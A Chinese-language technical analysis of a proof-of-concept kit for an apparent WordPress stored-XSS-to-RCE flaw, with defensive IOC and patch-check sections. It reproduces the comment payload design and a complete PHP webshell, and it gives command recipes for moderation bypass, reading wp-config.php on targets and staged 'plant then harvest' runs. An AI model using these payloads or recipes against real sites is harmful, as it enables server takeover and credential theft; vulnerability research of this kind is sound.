Comment2Shell 深度技术分析报告
对象:
DeathShotXD/Comment2Shell—— WordPressCVE-2026-93485全链路研究/检测工具
性质:公开漏洞 PoC + 本地实验环境 + 蓝队检测套件
适用前提:仅限自有资产、已获书面授权的安全测试、以及安全研究/教育用途
· · ·
—目录—
· · ·
—1. 工具是什么 / 命名寓意—
1.1 一句话定义
Comment2Shell 是一个端到端的漏洞研究套件,针对 WordPress 核心 wpautop() 函数中的预认证(pre-auth)存储型 XSS 漏洞 CVE-2026-93485,该漏洞可升级为管理员会话内的远程代码执行(RCE)。
1.2 命名寓意(拆词法)
| Comment | ||
| 2 | ||
| Shell |
命名核心隐喻:一条评论(Comment)经过 WordPress 显示时的过滤器链,最终"变成"了一枚 webshell(Shell)。名字本身就概括了完整攻击链——评论 → 存储型 XSS → 管理员会话 → 插件上传 → webshell → RCE。
1.3 工具定位的两面性
这个仓库并非单纯的"黑客工具",它是攻防一体的:
--scan 被动指纹、--probe 无害探测、-c 完整利用链、--shell 交互式 shellnuclei/CVE-2026-93485.yaml 检测模板、ioc/ IOC 检查器(--ioc)、README 内置服务器端/网络端 IOC 语句· · ·
—2. 漏洞原理抽丝剥茧—
2.1 官方定性
CVE-2026-93485AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L2.2 根因:wpautop() 的正则缺陷
漏洞点在 wp-includes/formatting.php 的 wpautop() 段落过滤器。这是 WordPress 核心代码,每个受影响站点都会运行,与主题/插件无关。
脆弱版本(7.1.1 之前,约 formatting.php:563):
// VULNERABLE: [^>]* 会在 HTML 注释占位符里的 > 处停下来$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );修复版本(7.1.1):
// PATCHED: 引号感知的子模式$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );缺陷本质:[^>]* 是一个"贪婪地匹配任意非 > 字符"的正则字符类。它无法区分——
><!-- wpnl --> 内部的 > 字符当 cite 属性值里混入注释占位符时,正则提前在占位符的 > 处停住,把一个 <p> 标签注入到了 cite 属性内部,从而撕裂了属性的引号边界。
2.3 攻击载荷的构造解剖
工具 build_xss_comment() 生成的原始载荷(HTML 实体编码前):
x<blockquotecite="ab"><code>x" onfocus='<JS>' autofocus tabindex=0</code></blockquote>关键设计点是引入两个换行符:
x\n\n ← 强制 wpautop 把 blockquote 包进自己的 <p> 段落<blockquote cite="a\nb"> ← cite 属性值里塞入一个换行符2.4 五步漏洞触发机制
wp_replace_in_html_tags() 会把 cite 属性值里的换行 \n 转成 <!-- wpnl -->。<p>:wpautop() 的正则 [^>]* 在 <!-- wpnl --> 的 > 处停下,把 <p> 注入到 cite 属性中间,属性被撕裂。wptexturize() 封口(块主题):外层双引号 " 被转成弯引号 ”,而 <code> 里的 " 保留为直引号(因为在 no-texturize 列表里)——浏览器于是把 onfocus/autofocus 解析为真实属性。autofocus 零点击触发:页面加载时自动聚焦到该元素,触发 onfocus 事件,无需任何点击。注:第 3 步依赖块主题(block theme),经典主题可能不触发
wptexturize()封口。README 也明确列了这条限制。
2.5 为什么 KSES 拦不住
WordPress 的 KSES(wp-includes/kses.php:605-633)在保存评论时做 HTML 清洗,其评论 allowlist 里包含 blockquote[cite] 和 code。攻击载荷在存储时是"良性的":
cite 里的换行符不属于 wp_kses_hair() 的语法字符映射,逃过清洗onfocusautofocus 等属性在 code 文本节点内,被当成纯文本而非属性真正的破坏发生在显示阶段——comment_text 过滤器链对已存储的 HTML 做二次变换,把"良性文本"变成了"可执行属性"。这正是存储型 XSS 的经典套路:入库时合法,渲染时变恶。
2.6 comment_text 过滤器链
add_filter( 'comment_text', 'wptexturize' ); // 封住属性(弯引号)add_filter( 'comment_text', 'convert_chars' );add_filter( 'comment_text', 'make_clickable', 9 );add_filter( 'comment_text', 'force_balance_tags', 25 );add_filter( 'comment_text', 'convert_smilies', 20 );add_filter( 'comment_text', 'wpautop', 30 ); // ← 漏洞所在(优先级 30)· · ·
—3. 源代码深度审计—
comment2shell.py 是单文件、零第三方依赖(仅标准库)。以下按模块拆解其设计巧思。
3.1 版本指纹模块(被动、安全)
VULN_MIN = (4, 7, 0)VULN_MAX = (7, 1, 0)BRANCH_PATCH_THRESHOLD = { (4, 7): 36, (4, 8): 31, (4, 9): 32, (5, 0): 28, ... (7, 1): 1,}设计亮点:
is_vulnerable() 优先查分支级补丁阈值(最精确),未知分支再退回整体范围判断。detect_version() 三个方法按序降级:readme.html → wp-includes/version.php → 首页 generator meta。全部被动,不提交 payload。find_post_id() 用四层降级找可评论的文章 ID:REST API(优先 comment_status=open)→ 首页正则 → RSS/Atom feed → 兜底 ID 1/2/3。妙处:find_post_id 的 REST 分支会优先选择 comment_status == "open" 的文章,这是"提高成功率"的精细化设计——不是抓到任意文章就提交,而是专门找评论开放的。
3.2 Payload 构造模块(最难啃的部分)
(a) JS 引号约束
defbuild_rce_js(callback_url=None, shell_path=None, marker=None):"""Constraint: must contain NO single quotes (HTML attribute delimiter)."""因为规范载荷把 JS 包在 onfocus='...' 里,单引号是 HTML 属性分隔符,所以整个 RCE JS 必须只用双引号。这是一个贯穿全模块的硬约束。
(b) HTML 实体编码顺序陷阱
js_encoded = js_code.translate(str.maketrans({'&': '&','<': '<','>': '>',}))关键细节:build_xss_comment() 的 docstring 明确说明——< > & 必须 HTML 实体编码,否则 KSES 的 HTML 解析器会误把 <> 当标签分隔符,破坏属性边界(把结尾的 ' 转成 ')。而浏览器在把属性值交给 JS 引擎前会先解码实体,所以编码对执行是"透明"的。
巧妙点:用 str.translate 一次性完成三种替换,而不是 replace 链式调用。因为如果先 & → &,后续再出现 & 就会二次编码成 &amp;。translate 单遍替换天然避免了顺序问题。
(c) String.fromCharCode 混淆
def_js_string_from_chars(s): codes = ",".join(str(ord(c)) for c in s)returnf"String.fromCharCode({codes})"把 PHP webshell 源码和插件目录名都转成 String.fromCharCode(...) 的数字数组编码。目的:
$_GET["c"])也能安全嵌入(d) 纯 JS 内存 ZIP 构建器
这是整个工具最骚的操作。上传 WordPress 插件需要一个 ZIP 包,但工具没有任何外部文件落盘,而是在浏览器里用 JS 现场构造 ZIP:
functionbuildZip(name,content){var nb=enc(name),cb=enc(content),crc=crc32(cb);// 本地文件头 (local file header) 30 字节 + 文件名// 中央目录头 (central directory header) 46 字节 + 文件名// 结束记录 (end of central directory) 22 字节 ...}技术细节:
0xEDB88320)在 JS 里算0x04034b50)、central directory(0x02014b50)、end record(0x06054b50)setUint32(..., true) 小端写入new Blob([z],{type:"application/zip"}) 直接作为 FormData 的 pluginzip 字段妙处:整个插件上传流程无需攻击者携带任何文件,全部在受害者浏览器的内存里完成,规避了"需要外部分发 ZIP"的传统限制。
(e) 内置 self-delete 的 webshell
<?php/** Plugin Name: System Diagnostics ... */if(isset($_GET["m"])){echo"MARKER";}if(isset($_GET["d"])){$f=__FILE__;@unlink($f);@rmdir(dirname($f));echo"CLEANED";exit;}if(isset($_GET["c"])){system($_GET["c"]);}Plugin_Upgrader 会拒绝("No valid plugins were found")——这是一个"踩坑后补上"的细节?m=marker:验证标记,用于确认 shell 归属?d=1:自删,unlink 自身 + rmdir 目录,实现"不留持久化痕迹"?c=cmd:system() 执行任意命令(f) 防循环重入守卫
if(window.c2s){return;}window.c2s=1;这是一个非常老练的细节:alert() 弹窗被关闭后,焦点会回到 autofocus 的 blockquote,再次触发 onfocus。若无守卫,alert 会无限循环,后面的异步上传链永远无法完成。用 window.c2s 标志保证只跑一次。
3.3 评论提交模块
defsubmit_comment(base_url, post_id, content, ...):# 关键:自定义 NoRedirect,截获 Location 头判断审批状态classNoRedirect(urllib.request.HTTPRedirectHandler):defredirect_request(self, req, fp, code, msg, headers, newurl):returnNone妙处:通过不跟随重定向来截获 Location 头,从中判断评论是否被自动批准:
unapproved= 或 moderation-hash 出现 → pending(待审核)#comment- 出现 → approved(已通过)审批绕过三路线(对应 README 表格):
--known-commenter:复用默认身份 "A WordPress Commenter" <wapuu@wordpress.example>,check_comment() 会白名单自动批准comment_previously_approved=0(首次评论即批准),任意身份都直接过?unapproved=<id>&moderation-hash=<hash> cookie 预览工具引用 Patchstack 的名言:"moderation isn't a security control"(审核不是安全控制)——因为 XSS 在对审核队列渲染时同样会触发。
3.4 竞态与"活载荷"探测
deffind_live_payload_path(base_url, post_id, ...):# 读取渲染后的文章,找出页面上"第一个" autofocus 载荷的 shell 路径这是一个极易被忽视的正确性设计:页面上如果有多个 autofocus 元素,浏览器只会聚焦第一个。也就是说,如果还有旧的 payload 评论残留,管理员打开时执行的是最旧的那条,而不是新提交的。工具会先读回渲染结果,解析出 var d=String.fromCharCode(...) 里的真实目录名,改去轮询那条"真正会触发"的路径。
3.5 架构总结
comment2shell.py├── 版本指纹 (detect_version / is_vulnerable / find_post_id) [被动]├── Payload 构造 (build_detection_js / build_rce_js / build_xss_comment)├── 评论提交 (submit_comment / submit_as_known_commenter)├── Shell 客户端 (exec_command / verify_shell / cleanup_shell)├── IOC 检查 (check_ioc_remote)├── 扫描器 (scan_single / run_scan / ThreadPoolExecutor 并发)├── 交互 shell (interactive_shell)└── 主流程 (run_exploit / run_exec_only / run_probe / main)设计哲学:单文件、零依赖、模块化函数、flag 驱动模式。从被动扫描到 RCE 到 IOC 检测,一步到位,且 exploit 流程默认"用完自删"。
· · ·
—4. 攻击链与实网攻防定位—
4.1 完整攻击链(README 官方图)
1. 匿名评论提交(无认证、无 nonce) POST /wp-comments-post.php <blockquote cite="a\nb"><code>x" onfocus=... autofocus>2. 显示时过滤器链(漏洞) wpautop() 在 formatting.php:563 注入 <p> 进 cite 属性3. wptexturize() 封属性(块主题) 外层 " → ” 弯引号;<code> 内 " 保持直引号4. 管理员会话零点击 XSS autofocus 页面加载即触发 onfocus5. 管理员会话 → 插件上传 → RCE GET plugin-install.php 提取 nonce → 内存 ZIP → upload-plugin → webshell4.2 在实网攻防中的定位
4.3 前置条件(决定武器可用性)
comment_registration=0 | ||
wptexturize 封口 | ||
关键限制:RCE 步骤必须有一个已登录的管理员去查看该文章。没有这一步,最多只能证明"存储型 XSS 存在"(--probe 即为此)。
· · ·
—5. 冷门但常用的命令语法—
以下既包含工具的冷门参数,也包含配套的攻防常用命令。
5.1 管道从 stdin 读取目标(被低估的参数)
subfinder -d example.com -silent | httpx -silent -title | grep -i wordpress | python3 comment2shell.py --scan --stdin --threads 20--stdin 让工具能无缝嵌入流水线,配合 --json 可直接输出机器可读结果。
5.2 --wait 0(只投递、不轮询)
python3 comment2shell.py -t https://target.com -c "id" --wait 0只提交 payload,不等待管理员触发——适合"预埋载荷,后续再收割"的分离式操作。
5.3 --known-commenter(审批绕过开关)
python3 comment2shell.py -t https://target.com -c "whoami" --known-commenter复用 WordPress 默认评论者身份绕过首次评论审核。
5.4 已存在 shell 的复用(--exec / --shell)
# 单命令python3 comment2shell.py --exec -t https://target.com --shell-path ab12cd/ab12cd.php -c "cat wp-config.php"# 交互式python3 comment2shell.py --shell -t https://target.com --shell-path ab12cd/ab12cd.php--exec 内部会规范化路径:接受 dir/dir.php、wp-content/plugins/dir/dir.php、wp-content/dir/dir.php 三种形式,且若没写 .php 会补全,很健壮。
5.5 冷门的配套检测命令(Linux)
# 服务器端:可疑评论(blockquote cite 内含换行)grep -rE 'blockquote.*cite=.*\n' /var/www/html/wp-content/ 2>/dev/null# wp_comments 表(注意反斜杠转义在 MySQL 里的表现)mysql -e "SELECT comment_ID, comment_author, LEFT(comment_content,200) FROM wp_comments WHERE comment_content LIKE '%blockquote%cite% onfocus%' ORDER BY comment_date DESC;"# 最近上传的单文件插件(与 wp-config.php 对比时间戳)find /var/www/html/wp-content/plugins/ -maxdepth 2 -name "*.php" -newer /var/www/html/wp-config.php -not -path "*/akismet/*" -not -path "*/hello*"5.6 补丁验证命令(判断是否修复)
# 脆弱(7.1.1 前)grep -n 'blockquote(\[^>\]\*)' wp-includes/formatting.php# → |<p><blockquote(\[^>\]\*)>|# 已修复(7.1.1+)grep -n 'blockquote((?:\[^>"'"'"'' wp-includes/formatting.php# → !<p><blockquote((?:\[^>"]|"[^"]*"|'[^']*')*)>· · ·
—6. Cheatsheet 命令配方—
6.1 参数总表
-t, --target | - 表示从 stdin/文件 | |
-f, --file | # 注释行 | |
--stdin | ||
--scan | ||
--probe | ||
--exploit | -c 隐式) | |
--shell | --shell-path | |
--exec | --shell-path | |
--ioc | ||
-c, --cmd | ||
--callback | ||
--shell-path | dir/dir.php | |
--post-id | ||
--known-commenter | ||
--wait | 0 | |
--no-cleanup | ||
--threads | ||
--timeout | ||
--proxy | ||
--json | ||
-o, --output | ||
-v, --verbose | ||
--version |
6.2 六种模式的"一句话配方"
# ① 被动指纹(单个)python3 comment2shell.py --scan -t https://target.com# ② 批量指纹 + JSON 落盘python3 comment2shell.py --scan -f targets.txt --threads 20 -o result.json --json# ③ 无害 XSS 探测(带 OAST 无回显验证)python3 comment2shell.py --probe -t https://target.com --callback https://you-id.oast.example# ④ 完整利用(执行 cat wp-config.php,等 60s,走代理)python3 comment2shell.py -t https://target.com -c "cat wp-config.php" --wait 60 --proxy http://127.0.0.1:8080# ⑤ 交互 shell(已种 shell)python3 comment2shell.py --shell -t https://target.com --shell-path ab12cd/ab12cd.php# ⑥ IOC 检查(蓝队)python3 comment2shell.py --ioc -t https://target.com6.3 "功能模块化 + 脚本化"配方思维
将参数视为可编程的功能模块,最强大的用法是把工具嵌入脚本做逻辑判断与批量处理:
# 配方 A:扫描 → 提取脆弱目标 → 自动批量进入下一阶段python3 comment2shell.py --scan -f all.txt --json -o scan.jsonpython3 - <<'PY'import json, subprocessdata = json.load(open("scan.json"))vuln = [r["target"] for r in data if r.get("vulnerable") is True]print("\n".join(vuln)) # 脆弱目标清单PY# 配方 B:流水线——子域枚举 → 筛 WordPress → 批量脆弱性识别subfinder -d scope.com -silent \ | httpx -silent -title \ | grep -i wordpress \ | python3 comment2shell.py --scan --stdin --threads 20 --json -o wp_scan.json# 配方 C:分离式操作——先埋载荷,后收割# 阶段一:投递(不等待)python3 comment2shell.py -t https://target.com -c "id" --wait 0 --no-cleanup# 阶段二:稍后用已知路径收割(结合 --exec)python3 comment2shell.py --exec -t https://target.com --shell-path <DIR>/<DIR>.php -c "id"注意:以上批量/流水线配方仅在取得授权的测试范围内使用。
6.4 Nuclei 检测(蓝队即用)
nuclei -t nuclei/CVE-2026-93485.yaml -u https://target.com模板内置了版本比对 matcher(compare_versions(version_readme[0], '< 7.1.1'))和载荷反射 matcher(检测渲染后的 cite="[^"]*<p> 与 onfocus=),可作为批量筛查的检测基线。
· · ·
—7. 检测与防御(蓝队视角)—
7.1 网络层 IOC
# 可疑的评论提交(blockquote + onfocus + autofocus)http.request.uri == "/wp-comments-post.php" ANDhttp.request.body contains "blockquote" ANDhttp.request.body contains "onfocus" ANDhttp.request.body contains "autofocus"# 非管理员 IP 的单文件插件上传http.request.uri == "/wp-admin/update.php" ANDhttp.request.body contains "pluginzip"7.2 根本防御
comment_registration=1)或关闭评论,阻断输入入口。wp-comments-post.php 的 comment 字段增加规则:阻断含 blockquote + onfocus/autofocus + 换行符 %0A 的组合。7.3 应急排查步骤
python3 comment2shell.py --ioc -t https://target.com(远程,无需服务器权限)/wp-admin/update.php?action=upload-plugin 的来源 IPwp-content/plugins/ 下是否出现 6 位随机短名目录· · ·
—8. 历史与时间线—
CVE-2026-93485(CVSS 7.1) | |
前世今生:这类漏洞属于 WordPress 核心 wpautop()/文本格式化函数的老问题家族——正则处理 HTML 时未能考虑注释占位符/嵌套引号,历史上 wpautop 相关 XSS 已有多次变体。本次特殊之处在于:存储、预认证、零点击、可升级 RCE 四点齐备,且影响面覆盖从 4.7 到 7.1 的多年版本。
· · ·
—附:合规声明—
本报告仅用于授权安全测试、安全研究、教育与防御能力建设。未经授权访问计算机系统在绝大多数司法辖区均属违法。工具作者不对滥用承担任何责任。所有批量/流水线/利用类操作都必须在明确 scope 与书面授权下进行。

研报速递
发表评论
发表评论: